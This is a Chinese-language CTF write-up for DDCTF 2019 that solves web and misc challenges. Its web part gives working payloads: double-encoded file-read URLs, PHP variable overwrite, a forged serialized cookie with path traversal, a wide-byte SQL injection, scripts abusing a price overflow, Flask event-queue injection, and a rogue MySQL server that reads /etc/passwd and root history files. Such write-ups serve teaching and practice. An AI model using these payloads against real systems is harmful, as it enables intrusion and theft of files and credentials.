DDCTF 2019 部分WP
WEB
滴~
http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
观察链接可发现jpg的值是文件名转hex再base64编码两次得到,由此得到任意文件读取漏洞
读取index.php
http://117.51.150.246/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
将源码中的base解码得到源码
备注是提示,访问该博客该日期的文章,得到提示 .practice.txt.swp,最后发现flag文件
结合index.php的逻辑
将f1agconfigddctf.php转为hex字符串,base64编码两次,然后
http://117.51.150.246/index.php?jpg=TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==
得到f1ag!ddctf.php的源码,典型变量覆盖
<?php include('config.php'); $k = 'hello'; extract($_GET); if(isset($uid)) { $content=trim(file_get_contents($k)); if($uid==$content) { echo $flag; } else { echo'hello'; } } ?>
http://117.51.150.246/f1ag!ddctf.php?k=php://input&uid=
WEB 签到题
抓包发现有个认证的接口,有个username未填值
尝试admin成功并给出了一个地址
访问发现是源代码
nickname处可注入%s带出eancrykey
得到eancrykey就可伪造Cookie,伪造成功即可造成反序列化漏洞
Application类可造成任意文件读取
这里可以双写绕过
这里判断了长度,猜测flag文件路径为../config/flag.txt
最后payload
<?php Class Application { var $path = '....//config/flag.txt'; } $o=new Application(); $session=serialize($o); echo urlencode($session.md5("EzblrbNS".$session));
Upload-IMG
上传的图片会经过二次渲染,插入的多余字符就会被删除,将其渲染过的图片用010editor打开会发现是GD
搜索找到相关方法和脚本
https://wiki.ioin.in/soft/detail/1q
初步尝试多次未成功,后将渲染后的图片下载后再次用该脚本处理,上传,成功绕过
homebrew event loop
# -*- encoding: utf-8 -*- # written in python 2.7 __author__ = 'garzon' from flask import Flask, session, request, Response import urllib app = Flask(__name__) app.secret_key = '*********************' # censored url_prefix = '/d5af31f66177e857' def FLAG(): return 'FLAG_is_here_but_i_wont_show_you' # censored def trigger_event(event): session['log'].append(event) if len(session['log']) > 5: session['log'] = session['log'][-5:] if type(event) == type([]): request.event_queue += event else: request.event_queue.append(event) def get_mid_str(haystack, prefix, postfix=None): haystack = haystack[haystack.find(prefix)+len(prefix):] if postfix is not None: haystack = haystack[:haystack.find(postfix)] return haystack class RollBackException: pass def execute_event_loop(): valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#') resp = None while len(request.event_queue) > 0: event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" request.event_queue = request.event_queue[1:] if not event.startswith(('action:', 'func:')): continue for c in event: if c not in valid_event_chars: break else: is_action = event[0] == 'a' action = get_mid_str(event, ':', ';') args = get_mid_str(event, action+';').split('#') try: event_handler = eval(action + ('_handler' if is_action else '_function')) ret_val = event_handler(args) except RollBackException: if resp is None: resp = '' resp += 'ERROR! All transactions have been cancelled. <br />' resp += '<a href="./?action:view;index">Go back to index.html</a><br />' session['num_items'] = request.prev_session['num_items'] session['points'] = request.prev_session['points'] break except Exception, e: if resp is None: resp = '' #resp += str(e) # only for debugging continue if ret_val is not None: if resp is None: resp = ret_val else: resp += ret_val if resp is None or resp == '': resp = ('404 NOT FOUND', 404) session.modified = True return resp @app.route(url_prefix+'/') def entry_point(): querystring = urllib.unquote(request.query_string) request.event_queue = [] if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100: querystring = 'action:index;False#False' if 'num_items' not in session: session['num_items'] = 0 session['points'] = 3 session['log'] = [] request.prev_session = dict(session) trigger_event(querystring) return execute_event_loop() # handlers/functions below -------------------------------------- def view_handler(args): page = args[0] html = '' html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points']) if page == 'index': html += '<a href="./?action:index;True%23False">View source code</a><br />' html += '<a href="./?action:view;shop">Go to e-shop</a><br />' html += '<a href="./?action:view;reset">Reset</a><br />' elif page == 'shop': html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' elif page == 'reset': del session['num_items'] html += 'Session reset.<br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' return html def index_handler(args): bool_show_source = str(args[0]) bool_download_source = str(args[1]) if bool_show_source == 'True': source = open('eventLoop.py', 'r') html = '' if bool_download_source != 'True': html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' for line in source: if bool_download_source != 'True': html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />') else: html += line source.close() if bool_download_source == 'True': headers = {} headers['Content-Type'] = 'text/plain' headers['Content-Disposition'] = 'attachment; filename=serve.py' return Response(html, headers=headers) else: return html else: trigger_event('action:view;index') def buy_handler(args): num_items = int(args[0]) if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0]) session['num_items'] += num_items trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index']) def consume_point_function(args): point_to_consume = int(args[0]) if session['points'] < point_to_consume: raise RollBackException() session['points'] -= point_to_consume def show_flag_function(args): flag = args[0] #return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it. return 'You naughty boy! ;) <br />' def get_flag_handler(args): if session['num_items'] >= 5: trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries trigger_event('action:view;index') if __name__ == '__main__': app.run(debug=False, host='0.0.0.0')
首先发现此处action可控,可注入代码,其后多余部分可用#注释
利用该点可调用脚本内任意带参函数,比如调用show_flag_function
然后看到这里,虽然不会显示flag,但trigger_event中的内容会被记录到log中,log在session中,而flask 是本地session,读取本地session就行
最后思路就是,想办法让自己num_items大于5后调用get_flag_handler
注意到这里买东西和扣钱的处理是分开的,直觉肯定有问题。正常处理是先buy_handler,这时是不理会points直接增加num_items的,然后马上consume_point_function,这时才比较points,points不够的话就回滚session。如果这样就必须想办法先调用buy_handler,然后调用get_flag_handler,将consume_point_function排到后面才行
最后利用到trigger_event函数注入event构造出自己想要调用的顺序
最终paylaod
http://116.85.48.107:5002/d5af31f66177e857/?action:trigger_event%23;action:buy;5%23action:get_flag;
或者这样,只要不超过日志容量且num_items大于等于5就行
http://116.85.48.107:5002/d5af31f66177e857/?action:trigger_event%23;action:buy;3%23action:buy;3%23action:get_flag;
用p神脚本解密本地session
欢迎报名DDCTF
一开始报名处存在XSS
用xss平台读取到源码后发现一个接口
测出是宽字节注入后就常规操作查数据库,查表名,列名,最后得到flag。(一开始有看到gbk编码想到是宽字节,但随手测试一条payload发现不报错就没测了,后悔!,后面实在没辙了就继续测试才发现)
http://117.51.147.2/Ze02pQYLf5gGNyMn/query_aIeMu0FUoVrW0NWPHbN6z4xh.php?id=1%20%da%27%20union%20select%201,2,3,4,flag%20%20from%20ctfdb%23
大吉大利,今晚吃鸡
一开始伪造价格,发现后端按范围是分别以32位和64位处理,因为64位最大整数+1报错,32位最大整数+1报错,然而其中间的某范围数不报错。经过测试发现提交32位最大整数*2+2到100的数就可买票,比如4294967296
然后写脚本注册小号,主号提交。两个脚本这样其实比较麻烦而且费时间,但我就是懒-.-,,没有整合两个脚本,最后是第一个脚本跑了足够多的id和Tiket之后,第二个脚本提交
注册小号得到id和ticket
import requests import re import time requests=requests.session() def register(username): url='http://117.51.147.155:5050/ctf/api/register?name={}&password=123456789'.format(username) res=requests.get(url) return res.text def buy(): url='http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296' res=requests.get(url) bill_id=re.search('"bill_id":"(.*)","ticket_price',res.text).group(1) url='http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id={}'.format(bill_id) res=requests.get(url) return res.text def xx(username): register(username) return buy() f=open('acc10.txt','w') for i in range(0,600): res=xx("l3yx_101_00"+str(i)) time.sleep(3) print res f.writelines(res) f.flush()
主号提交
import requests import re import time requests=requests.session() def login(name,password): url='http://117.51.147.155:5050/ctf/api/login?name={}&password={}'.format(name,password) res=requests.get(url) return res.text def submit(id,ticket): url='http://117.51.147.155:5050/ctf/api/remove_robot?id={}&ticket={}'.format(id,ticket) res=requests.get(url) return res.text login('lei','123456789') f=open('acc8.txt','r') for i in f.readlines(): id_=re.search('\[{"your_id":(.*),"your_ticket":"(.*)"}\]',i).group(1) ticket_=re.search('\[{"your_id":(.*),"your_ticket":"(.*)"}\]',i).group(2) time.sleep(2) print submit(id_,ticket_)
mysql弱口令
网站功能是扫描服务器上mysql的弱口令,应该是会用弱口令来连接我的mysql服务端,想到之前见过伪造mysql服务端来攻击客户端的骚操作
https://lightless.me/archives/read-mysql-client-file.html
1.服务器启动mysql伪造脚本,由于我本机装有mysql,所以该伪造脚本端口设置在3307(网上公开脚本,非原创)
2.服务器启动agent.py
3.在网页填写ip和端口进行扫描
此时伪造服务端的脚本已成功读取/etc/passwd
继续读/root/.bash_history发现入口文件/home/dc2-user/ctf_web_2/app/main/views.py
从入口文件/home/dc2-user/ctf_web_2/app/main/views.py得到提示flag在数据库
尝试读取数据库文件/var/lib/mysql/security/flag.ibd无果,貌似是空的???
最后读取/root/.mysql_history发现flag
MISC
北京地铁
根据Color Threshold提示测试LSB隐写,找到一串密文
观察图片,发现有两个位置颜色不同
尝试用魏公村地名为密钥解密成功
MulTzor
github找到分析xor的工具
https://github.com/hellman/xortool
猜测是空格最多,所以-c后面是20。脚本得出key最大可能性长度是6,并给出了可能的key
但发现有部分乱码,而且是每6个字符,第一个字符错误,很容易知道是脚本得出的key长度没有问题,但第一个字符错了
观察下面有DCTF{,显而易见前面那个乱码是D,所以用这个位置的密文异或上D就能得到key第一位
异或得到key第一位
所以最后key是\x323\xffSY\x8b
WireShark
在HTTP包中找到3张图片,分别导出字节流
前两张相似但文件大小不同,第二张体积比较大
最后一个HTTP包还发现一个图片加密隐藏信息的网站
需要密码和加密后的图片
猜测第二张图片是第一张加密过后的,第三张钥匙形状的藏有密码
最后发现钥匙图片是高度隐写,修改高度后
解密
16进制到文本字符串
联盟决策大会
参考以下文章
https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing
https://blog.mythsman.com/2015/10/07/2/
根据题意猜测,组织1内部需要算出一段数据zh1,组织2内部算出zh2,然后zh1和zh2一起算出z,最后z和p算出最终秘密,需要注意的是就是顺序需要多次测试,而且脚本内的_PRIME需要设置为p
最终脚本
from __future__ import division from __future__ import print_function import random import functools _PRIME = 0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9 _RINT = functools.partial(random.SystemRandom().randint, 0) def _eval_at(poly, x, prime): accum = 0 for coeff in reversed(poly): accum *= x accum += coeff accum %= prime return accum def make_random_shares(minimum, shares, prime=_PRIME): if minimum > shares: raise ValueError("pool secret would be irrecoverable") poly = [_RINT(prime) for i in range(minimum)] points = [(i, _eval_at(poly, i, prime)) for i in range(1, shares + 1)] return poly[0], points def _extended_gcd(a, b): x = 0 last_x = 1 y = 1 last_y = 0 while b != 0: quot = a // b a, b = b, a%b x, last_x = last_x - quot * x, x y, last_y = last_y - quot * y, y return last_x, last_y def _divmod(num, den, p): inv, _ = _extended_gcd(den, p) return num * inv def _lagrange_interpolate(x, x_s, y_s, p): k = len(x_s) assert k == len(set(x_s)), "points must be distinct" def PI(vals): # upper-case PI -- product of inputs accum = 1 for v in vals: accum *= v return accum nums = [] # avoid inexact division dens = [] for i in range(k): others = list(x_s) cur = others.pop(i) nums.append(PI(x - o for o in others)) dens.append(PI(cur - o for o in others)) den = PI(dens) num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p) for i in range(k)]) return (_divmod(num, den, p) + p) % p def recover_secret(shares, prime=_PRIME): if len(shares) < 2: raise ValueError("need at least two shares") x_s, y_s = zip(*shares) return _lagrange_interpolate(0, x_s, y_s, prime) p=0x85FE375B8CDB346428F81C838FCC2D1A1BCDC7A0A08151471B203CDDF015C6952919B1DE33F21FB80018F5EA968BA023741AAA50BE53056DE7303EF702216EE9 z1_1=0x60E455AAEE0E836E518364442BFEAB8E5F4E77D16271A7A7B73E3A280C5E8FD142D3E5DAEF5D21B5E3CBAA6A5AB22191AD7C6A890D9393DBAD8230D0DC496964 z1_2=0x6D8B52879E757D5CEB8CBDAD3A0903EEAC2BB89996E89792ADCF744CF2C42BD3B4C74876F32CF089E49CDBF327FA6B1E36336CBCADD5BE2B8437F135BE586BB1 z1_4=0x74C0EEBCA338E89874B0D270C143523D0420D9091EDB96D1904087BA159464BF367B3C9F248C5CACC0DECC504F14807041997D86B0386468EC504A158BE39D7 z2_3=0x560607563293A98D6D6CCB219AC74B99931D06F7DEBBFDC2AFCC360A12A97D9CA950475036497F44F41DC5492977F9B4A0E4C8E0368C7606B7B82C34F561525 z2_4=0x445CCE871E61AD5FDE78ECE87C42219D5C9F372E5BEC90C4C4990D2F37755A4082C7B52214F897E4EC1B5FB4A296DBE5718A47253CC6E8EAF4584625D102CC62 z2_5=0x4F148B40332ACCCDC689C2A742349AEBBF01011BA322D07AD0397CE0685700510A34BDC062B26A96778FA1D0D4AFAF9B0507CC7652B0001A2275747D518EDDF5 z1= recover_secret( [ (1,z1_1), (2,z1_2) , (4,z1_4) ] ) z2=recover_secret( [ (3,z2_3) , (4,z2_4) , (5,z2_5) ] ) z=recover_secret( [ (1,z1) , (2,z2) ] ) print( recover_secret( [ (1,p) , (0,z) ] ) )